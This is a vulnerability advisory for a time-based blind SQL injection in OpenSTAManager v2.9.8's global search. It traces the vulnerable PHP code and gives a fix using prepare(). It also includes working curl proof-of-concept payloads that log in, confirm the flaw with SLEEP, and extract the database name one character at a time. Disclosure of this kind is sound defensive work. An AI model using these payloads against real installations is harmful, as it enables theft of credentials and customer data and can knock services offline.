
CVE-2026-24417 - OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service
| Field | Details |
|---|
| CVE ID | CVE-2026-24417 |
| Severity | HIGH |
| Advisory | View Advisory |
| Discovered by | Lukasz Rybak |
Critical Time-Based Blind SQL Injection vulnerability affecting multiple search modules in OpenSTAManager v2.9.8 allows authenticated attackers to extract sensitive database contents including password hashes, customer data, and financial records through time-based Boolean inference attacks with amplified execution across 10+ modules.
Status: ✅ Confirmed and tested on live instance (v2.9.8)
Vulnerable Parameter: term (GET)
Affected Endpoint: /ajax_search.php
Affected Modules: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the global search functionality. The application fails to properly sanitize the term parameter before using it in SQL LIKE clauses across multiple module-specific search handlers, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.
Vulnerability Chain:
Entry Point: /ajax_search.php (Line 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
The $term parameter undergoes minimal sanitization (only forward slash replacement).
Distribution: /src/AJAX.php::search() (Line 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
The unsanitized $term is passed to all module-specific search handlers.
Execution: /src/AJAX.php::getSearchResults() (Line 373)
require $file;
Each module's search.php file is included with $term variable in scope.
Vulnerable SQL Queries: Multiple modules directly concatenate $term without prepare()
All Affected Files (10+ vulnerable instances):
/modules/articoli/ajax/search.php - Line 51 (PRIMARY EXAMPLE)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
Impact: Direct concatenation without prepare(), allows full SQL injection.
/modules/ordini/ajax/search.php - Line 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - Line 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - Line 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - Line 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - Line 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - Line 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
Properly Sanitized (NOT vulnerable):
/modules/contratti/ajax/search.php - Uses prepare() correctly/modules/automezzi/ajax/search.php - Uses prepare() correctlyNote: The vulnerability has amplified execution - a single malicious request triggers SQL injection across ALL vulnerable modules simultaneously, causing time-based attacks to execute 10+ times per request, multiplying the delay and leading to 504 Gateway Time-out errors as observed on the live demo instance.

Step 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Verify Vulnerability (Time-Based SLEEP)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

Step 3: Data Extraction - Database Name
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s

Affected Users: All authenticated users with access to the global search functionality.
Recommended Fix:
Replace all instances of direct $term concatenation with prepare():
BEFORE (Vulnerable):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
AFTER (Fixed):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
Apply this fix to ALL affected files:
/modules/articoli/ajax/search.php - Line 51/modules/ordini/ajax/search.php - Lines 43, 47, 79/modules/ddt/ajax/search.php - Lines 43, 47, 83/modules/fatture/ajax/search.php - Lines 45, 49, 85/modules/preventivi/ajax/search.php - Lines 45, 49, 83/modules/anagrafiche/ajax/search.php - Lines 62, 107, 162/modules/impianti/ajax/search.php - Line 46This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.